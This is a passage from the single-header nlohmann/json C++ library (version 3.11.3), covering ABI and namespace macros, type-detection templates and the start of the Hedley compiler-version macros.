NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON\n#endif\n\n#ifndef NLOHMANN_JSON_NAMESPACE_NO_VERSION\n#define NLOHMANN_JSON_NAMESPACE_NO_VERSION 0\n#endif\n\n// Construct the namespace ABI tags component\n#define NLOHMANN_JSON_ABI_TAGS_CONCAT_EX(a, b) json_abi ## a ## b\n#define NLOHMANN_JSON_ABI_TAGS_CONCAT(a, b) \\\n    NLOHMANN_JSON_ABI_TAGS_CONCAT_EX(a, b)\n\n#define NLOHMANN_JSON_ABI_TAGS                                       \\\n    NLOHMANN_JSON_ABI_TAGS_CONCAT(                                   \\\n            NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS,                       \\\n            NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON)\n\n// Construct the namespace version component\n#define NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT_EX(major, minor, patch) \\\n    _v ## major ## _ ## minor ## _ ## patch\n#define NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT(major, minor, patch) \\\n    NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT_EX(major, minor, patch)\n\n#if NLOHMANN_JSON_NAMESPACE_NO_VERSION\n#define NLOHMANN_JSON_NAMESPACE_VERSION\n#else\n#define NLOHMANN_JSON_NAMESPACE_VERSION                                 \\\n    NLOHMANN_JSON_NAMESPACE_VERSION_CONCAT(NLOHMANN_JSON_VERSION_MAJOR, \\\n                                           NLOHMANN_JSON_VERSION_MINOR, \\\n                                           NLOHMANN_JSON_VERSION_PATCH)\n#endif\n\n// Combine namespace components\n#define NLOHMANN_JSON_NAMESPACE_CONCAT_EX(a, b) a ## b\n#define NLOHMANN_JSON_NAMESPACE_CONCAT(a, b) \\\n    NLOHMANN_JSON_NAMESPACE_CONCAT_EX(a, b)\n\n#ifndef NLOHMANN_JSON_NAMESPACE\n#define NLOHMANN_JSON_NAMESPACE               \\\n    nlohmann::NLOHMANN_JSON_NAMESPACE_CONCAT( \\\n            NLOHMANN_JSON_ABI_TAGS,           \\\n            NLOHMANN_JSON_NAMESPACE_VERSION)\n#endif\n\n#ifndef NLOHMANN_JSON_NAMESPACE_BEGIN\n#define NLOHMANN_JSON_NAMESPACE_BEGIN                \\\n    namespace nlohmann                               \\\n    {                                                \\\n    inline namespace NLOHMANN_JSON_NAMESPACE_CONCAT( \\\n                NLOHMANN_JSON_ABI_TAGS,              \\\n                NLOHMANN_JSON_NAMESPACE_VERSION)     \\\n    {\n#endif\n\n#ifndef NLOHMANN_JSON_NAMESPACE_END\n#define NLOHMANN_JSON_NAMESPACE_END                                     \\\n    }  /* namespace (inline namespace) NOLINT(readability/namespace) */ \\\n    }  // namespace nlohmann\n#endif\n\n// #include <nlohmann/detail/conversions/from_json.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // transform\n#include <array> // array\n#include <forward_list> // forward_list\n#include <iterator> // inserter, front_inserter, end\n#include <map> // map\n#include <string> // string\n#include <tuple> // tuple, make_tuple\n#include <type_traits> // is_arithmetic, is_same, is_enum, underlying_type, is_convertible\n#include <unordered_map> // unordered_map\n#include <utility> // pair, declval\n#include <valarray> // valarray\n\n// #include <nlohmann/detail/exceptions.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef> // nullptr_t\n#include <exception> // exception\n#if JSON_DIAGNOSTICS\n#include <numeric> // accumulate\n#endif\n#include <stdexcept> // runtime_error\n#include <string> // to_string\n#include <vector> // vector\n\n// #include <nlohmann/detail/value_t.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <array> // array\n#include <cstddef> // size_t\n#include <cstdint> // uint8_t\n#include <string> // string\n\n// #include <nlohmann/detail/macro_scope.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <utility> // declval, pair\n// #include <nlohmann/detail/meta/detected.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <type_traits>\n\n// #include <nlohmann/detail/meta/void_t.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename ...Ts> struct make_void\n    {\n        using type = void;\n    };\n    template<typename ...Ts> using void_t = typename make_void<Ts...>::type;\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    // https://en.cppreference.com/w/cpp/experimental/is_detected\n    struct nonesuch\n    {\n        nonesuch() = delete;\n        ~nonesuch() = delete;\n        nonesuch(nonesuch const&) = delete;\n        nonesuch(nonesuch const&&) = delete;\n        void operator=(nonesuch const&) = delete;\n        void operator=(nonesuch&&) = delete;\n    };\n\n    template<class Default,\n        class AlwaysVoid,\n        template<class...> class Op,\n        class... Args>\n    struct detector\n    {\n        using value_t = std::false_type;\n        using type = Default;\n    };\n\n    template<class Default, template<class...> class Op, class... Args>\n    struct detector<Default, void_t<Op<Args...>>, Op, Args...>\n    {\n        using value_t = std::true_type;\n        using type = Op<Args...>;\n    };\n\n    template<template<class...> class Op, class... Args>\n    using is_detected = typename detector<nonesuch, void, Op, Args...>::value_t;\n\n    template<template<class...> class Op, class... Args>\n    struct is_detected_lazy : is_detected<Op, Args...> {};\n\n    template<template<class...> class Op, class... Args>\n    using detected_t = typename detector<nonesuch, void, Op, Args...>::type;\n\n    template<class Default, template<class...> class Op, class... Args>\n    using detected_or = detector<Default, void, Op, Args...>;\n\n    template<class Default, template<class...> class Op, class... Args>\n    using detected_or_t = typename detected_or<Default, Op, Args...>::type;\n\n    template<class Expected, template<class...> class Op, class... Args>\n    using is_detected_exact = std::is_same<Expected, detected_t<Op, Args...>>;\n\n    template<class To, template<class...> class Op, class... Args>\n    using is_detected_convertible =\n        std::is_convertible<detected_t<Op, Args...>, To>;\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/thirdparty/hedley/hedley.hpp>\n\n\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-FileCopyrightText: 2016-2021 Evan Nemerson <evan@nemerson.com>\n// SPDX-License-Identifier: MIT\n\n/* Hedley - https://nemequ.github.io/hedley\n * Created by Evan Nemerson <evan@nemerson.com>\n */\n\n#if !defined(JSON_HEDLEY_VERSION) || (JSON_HEDLEY_VERSION < 15)\n#if defined(JSON_HEDLEY_VERSION)\n#undef JSON_HEDLEY_VERSION\n#endif\n#define JSON_HEDLEY_VERSION 15\n\n#if defined(JSON_HEDLEY_STRINGIFY_EX)\n#undef JSON_HEDLEY_STRINGIFY_EX\n#endif\n#define JSON_HEDLEY_STRINGIFY_EX(x) #x\n\n#if defined(JSON_HEDLEY_STRINGIFY)\n#undef JSON_HEDLEY_STRINGIFY\n#endif\n#define JSON_HEDLEY_STRINGIFY(x) JSON_HEDLEY_STRINGIFY_EX(x)\n\n#if defined(JSON_HEDLEY_CONCAT_EX)\n#undef JSON_HEDLEY_CONCAT_EX\n#endif\n#define JSON_HEDLEY_CONCAT_EX(a,b) a##b\n\n#if defined(JSON_HEDLEY_CONCAT)\n#undef JSON_HEDLEY_CONCAT\n#endif\n#define JSON_HEDLEY_CONCAT(a,b) JSON_HEDLEY_CONCAT_EX(a,b)\n\n#if defined(JSON_HEDLEY_CONCAT3_EX)\n#undef JSON_HEDLEY_CONCAT3_EX\n#endif\n#define JSON_HEDLEY_CONCAT3_EX(a,b,c) a##b##c\n\n#if defined(JSON_HEDLEY_CONCAT3)\n#undef JSON_HEDLEY_CONCAT3\n#endif\n#define JSON_HEDLEY_CONCAT3(a,b,c) JSON_HEDLEY_CONCAT3_EX(a,b,c)\n\n#if defined(JSON_HEDLEY_VERSION_ENCODE)\n#undef JSON_HEDLEY_VERSION_ENCODE\n#endif\n#define JSON_HEDLEY_VERSION_ENCODE(major,minor,revision) (((major) * 1000000) + ((minor) * 1000) + (revision))\n\n#if defined(JSON_HEDLEY_VERSION_DECODE_MAJOR)\n#undef JSON_HEDLEY_VERSION_DECODE_MAJOR\n#endif\n#define JSON_HEDLEY_VERSION_DECODE_MAJOR(version) ((version) / 1000000)\n\n#if defined(JSON_HEDLEY_VERSION_DECODE_MINOR)\n#undef JSON_HEDLEY_VERSION_DECODE_MINOR\n#endif\n#define JSON_HEDLEY_VERSION_DECODE_MINOR(version) (((version) % 1000000) / 1000)\n\n#if defined(JSON_HEDLEY_VERSION_DECODE_REVISION)\n#undef JSON_HEDLEY_VERSION_DECODE_REVISION\n#endif\n#define JSON_HEDLEY_VERSION_DECODE_REVISION(version) ((version) % 1000)\n\n#if defined(JSON_HEDLEY_GNUC_VERSION)\n#undef JSON_HEDLEY_GNUC_VERSION\n#endif\n#if defined(__GNUC__) && defined(__GNUC_PATCHLEVEL__)\n#define JSON_HEDLEY_GNUC_VERSION JSON_HEDLEY_VERSION_ENCODE(__GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__)\n#elif defined(__GNUC__)\n#define JSON_HEDLEY_GNUC_VERSION JSON_HEDLEY_VERSION_ENCODE(__GNUC__, __GNUC_MINOR__, 0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_VERSION_CHECK)\n#undef JSON_HEDLEY_GNUC_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_GNUC_VERSION)\n#define JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_GNUC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_MSVC_VERSION)\n#undef JSON_HEDLEY_MSVC_VERSION\n#endif\n#if defined(_MSC_FULL_VER) && (_MSC_FULL_VER >= 140000000) && !defined(__ICL)\n#define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_FULL_VER / 10000000, (_MSC_FULL_VER % 10000000) / 100000, (_MSC_FULL_VER % 100000) / 100)\n#elif defined(_MSC_FULL_VER) && !defined(__ICL)\n#define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_FULL_VER / 1000000, (_MSC_FULL_VER % 1000000) / 10000, (_MSC_FULL_VER % 10000) / 10)\n#elif defined(_MSC_VER) && !defined(__ICL)\n#define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_VER / 100, _MSC_VER % 100, 0)\n#endif\n\n#if defined(JSON_HEDLEY_MSVC_VERSION_CHECK)\n#undef JSON_HEDLEY_MSVC_VERSION_CHECK\n#endif\n#if !defined(JSON_HEDLEY_MSVC_VERSION)\n#define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (0)\n#elif defined(_MSC_VER) && (_MSC_VER >= 1400)\n#define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_FULL_VER >= ((major * 10000000) + (minor * 100000) + (patch)))\n#elif defined(_MSC_VER) && (_MSC_VER >= 1200)\n#define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_FULL_VER >= ((major * 1000000) + (minor * 10000) + (patch)))\n#else\n#define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_VER >= ((major * 100) + (minor)))\n#endif\n\n#if defined(JSON_HEDLEY_INTEL_VERSION)\n#undef JSON_HEDLEY_INTEL_VERSION\n#endif\n#if defined(__INTEL_COMPILER) && defined(__INTEL_COMPILER_UPDATE) && !defined(__ICL)\n#define JSON_HEDLEY_INTEL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER / 100, __INTEL_COMPILER % 100, __INTEL_COMPILER_UPDATE)\n#elif defined(__INTEL_COMPILER) && !defined(__ICL)\n#define JSON_HEDLEY_INTEL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER / 100, __INTEL_COMPILER % 100, 0)\n#endif\n\n#if defined(JSON_HEDLEY_INTEL_VERSION_CHECK)\n#undef JSON_HEDLEY_INTEL_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_INTEL_VERSION)\n#define JSON_HEDLEY_INTEL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_INTEL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_INTEL_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_INTEL_CL_VERSION)\n#undef JSON_HEDLEY_INTEL_CL_VERSION\n#endif\n#if defined(__INTEL_COMPILER) && defined(__INTEL_COMPILER_UPDATE) && defined(__ICL)\n#define JSON_HEDLEY_INTEL_CL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER, __INTEL_COMPILER_UPDATE, 0)\n#endif\n\n#if defined(JSON_HEDLEY_INTEL_CL_VERSION_CHECK)\n#undef JSON_HEDLEY_INTEL_CL_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_INTEL_CL_VERSION)\n#define JSON_HEDLEY_INTEL_CL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_INTEL_CL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_INTEL_CL_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_PGI_VERSION)\n#undef JSON_HEDLEY_PGI_VERSION\n#endif\n#if defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) && defined(__PGIC_PATCHLEVEL__)\n#define JSON_HEDLEY_PGI_VERSION JSON_HEDLEY_VERSION_ENCODE(__PGIC__, __PGIC_MINOR__, __PGIC_PATCHLEVEL__)\n#endif\n\n#if defined(JSON_HEDLEY_PGI_VERSION_CHECK)\n#undef JSON_HEDLEY_PGI_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_PGI_VERSION)\n#define JSON_HEDLEY_PGI_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_PGI_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_PGI_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_SUNPRO_VERSION)\n#undef JSON_HEDLEY_SUNPRO_VERSION\n#endif\n#if defined(__SUNPRO_C) && (__SUNPRO_C > 0x1000)\n#define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((((__SUNPRO_C >> 16) & 0xf) * 10) + ((__SUNPRO_C >> 12) & 0xf), (((__SUNPRO_C >> 8) & 0xf) * 10) + ((__SUNPRO_C >> 4) & 0xf), (__SUNPRO_C & 0xf) * 10)\n#elif defined(__SUNPRO_C)\n#define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((__SUNPRO_C >> 8) & 0xf, (__SUNPRO_C >> 4) & 0xf, (__SUNPRO_C) & 0xf)\n#elif defined(__SUNPRO_CC) && (__SUNPRO_CC > 0x1000)\n#define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((((__SUNPRO_CC >> 16) & 0xf) * 10) + ((__SUNPRO_CC >> 12) & 0xf), (((__SUNPRO_CC >> 8) & 0xf) * 10) + ((__SUNPRO_CC >> 4) & 0xf), (__SUNPRO_CC & 0xf) * 10)\n#elif defined(__SUNPRO_CC)\n#define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((__SUNPRO_CC >> 8) & 0xf, (__SUNPRO_CC >> 4) & 0xf, (__SUNPRO_CC) & 0xf)\n#endif\n\n#if defined(JSON_HEDLEY_SUNPRO_VERSION_CHECK)\n#undef JSON_HEDLEY_SUNPRO_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_SUNPRO_VERSION)\n#define JSON_HEDLEY_SUNPRO_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_SUNPRO_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_SUNPRO_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION)\n#undef JSON_HEDLEY_EMSCRIPTEN_VERSION\n#endif\n#if defined(__EMSCRIPTEN__)\n#define JSON_HEDLEY_EMSCRIPTEN_VERSION JSON_HEDLEY_VERSION_ENCODE(__EMSCRIPTEN_major__, __EMSCRIPTEN_minor__, __EMSCRIPTEN_tiny__)\n#endif\n\n#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK)\n#undef JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION)\n#define JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_EMSCRIPTEN_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_ARM_VERSION)\n#undef JSON_HEDLEY_ARM_VERSION\n#endif\n#if defined(__CC_ARM) && defined(__ARMCOMPILER_VERSION)\n#define JSON_HEDLEY_ARM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ARMCOMPILER_VERSION / 1000000, (__ARMCOMPILER_VERSION % 1000000) / 10000, (__ARMCOMPILER_VERSION % 10000) / 100)\n#elif defined(__CC_ARM) && defined(__ARMCC_VERSION)\n#define JSON_HEDLEY_ARM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ARMCC_VERSION / 1000000, (__ARMCC_VERSION % 1000000) / 10000, (__ARMCC_VERSION % 10000) / 100)\n#endif\n\n#if defined(JSON_HEDLEY_ARM_VERSION_CHECK)\n#undef JSON_HEDLEY_ARM_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_ARM_VERSION)\n#define JSON_HEDLEY_ARM_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_ARM_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_ARM_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_IBM_VERSION)\n#undef JSON_HEDLEY_IBM_VERSION\n#endif\n#if defined(__ibmxl__)\n#define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ibmxl_version__, __ibmxl_release__, __ibmxl_modification__)\n#elif defined(__xlC__) && defined(__xlC_ver__)\n#define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__xlC__ >> 8, __xlC__ & 0xff, (__xlC_ver__ >> 8) & 0xff)\n#elif defined(__xlC__)\n#define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__xlC__ >> 8, __xlC__ & 0xff, 0)\n#endif\n\n#if defined(JSON_HEDLEY_IBM_VERSION_CHECK)\n#undef JSON_HEDLEY_IBM_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_IBM_VERSION)\n#define JSON_HEDLEY_IBM_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_IBM_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_IBM_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_VERSION)\n#undef JSON_HEDLEY_TI_VERSION\n#endif\n#if \\\n    defined(__TI_COMPILER_VERSION__) && \\\n    ( \\\n      defined(__TMS470__) || defined(__TI_ARM__) || \\\n      defined(__MSP430__) || \\\n      defined(__TMS320C2000__) \\\n    )\n#if (__TI_COMPILER_VERSION__ >= 16000000)\n#define JSON_HEDLEY_TI_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n#endif\n\n#if defined(JSON_HEDLEY_TI_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_VERSION)\n#define JSON_HEDLEY_TI_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL2000_VERSION)\n#undef JSON_HEDLEY_TI_CL2000_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && defined(__TMS320C2000__)\n#define JSON_HEDLEY_TI_CL2000_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL2000_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_CL2000_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_CL2000_VERSION)\n#define JSON_HEDLEY_TI_CL2000_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL2000_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_CL2000_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL430_VERSION)\n#undef JSON_HEDLEY_TI_CL430_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && defined(__MSP430__)\n#define JSON_HEDLEY_TI_CL430_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL430_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_CL430_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_CL430_VERSION)\n#define JSON_HEDLEY_TI_CL430_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL430_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_CL430_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_ARMCL_VERSION)\n#undef JSON_HEDLEY_TI_ARMCL_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && (defined(__TMS470__) || defined(__TI_ARM__))\n#define JSON_HEDLEY_TI_ARMCL_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_ARMCL_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_ARMCL_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_ARMCL_VERSION)\n#define JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_ARMCL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL6X_VERSION)\n#undef JSON_HEDLEY_TI_CL6X_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && defined(__TMS320C6X__)\n#define JSON_HEDLEY_TI_CL6X_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL6X_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_CL6X_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_CL6X_VERSION)\n#define JSON_HEDLEY_TI_CL6X_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL6X_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_CL6X_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL7X_VERSION)\n#undef JSON_HEDLEY_TI_CL7X_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && defined(__C7000__)\n#define JSON_HEDLEY_TI_CL7X_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_CL7X_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_CL7X_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_CL7X_VERSION)\n#define JSON_HEDLEY_TI_CL7X_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL7X_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_CL7X_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TI_CLPRU_VERSION)\n#undef JSON_HEDLEY_TI_CLPRU_VERSION\n#endif\n#if defined(__TI_COMPILER_VERSION__) && defined(__PRU__)\n#define JSON_HEDLEY_TI_CLPRU_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000))\n#endif\n\n#if defined(JSON_HEDLEY_TI_CLPRU_VERSION_CHECK)\n#undef JSON_HEDLEY_TI_CLPRU_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TI_CLPRU_VERSION)\n#define JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CLPRU_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_CRAY_VERSION)\n#undef JSON_HEDLEY_CRAY_VERSION\n#endif\n#if defined(_CRAYC)\n#if defined(_RELEASE_PATCHLEVEL)\n#define JSON_HEDLEY_CRAY_VERSION JSON_HEDLEY_VERSION_ENCODE(_RELEASE_MAJOR, _RELEASE_MINOR, _RELEASE_PATCHLEVEL)\n#else\n#define JSON_HEDLEY_CRAY_VERSION JSON_HEDLEY_VERSION_ENCODE(_RELEASE_MAJOR, _RELEASE_MINOR, 0)\n#endif\n#endif\n\n#if defined(JSON_HEDLEY_CRAY_VERSION_CHECK)\n#undef JSON_HEDLEY_CRAY_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_CRAY_VERSION)\n#define JSON_HEDLEY_CRAY_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_CRAY_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_CRAY_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_IAR_VERSION)\n#undef JSON_HEDLEY_IAR_VERSION\n#endif\n#if defined(__IAR_SYSTEMS_ICC__)\n#if __VER__ > 1000\n#define JSON_HEDLEY_IAR_VERSION JSON_HEDLEY_VERSION_ENCODE((__VER__ / 1000000), ((__VER__ / 1000) % 1000), (__VER__ % 1000))\n#else\n#define JSON_HEDLEY_IAR_VERSION 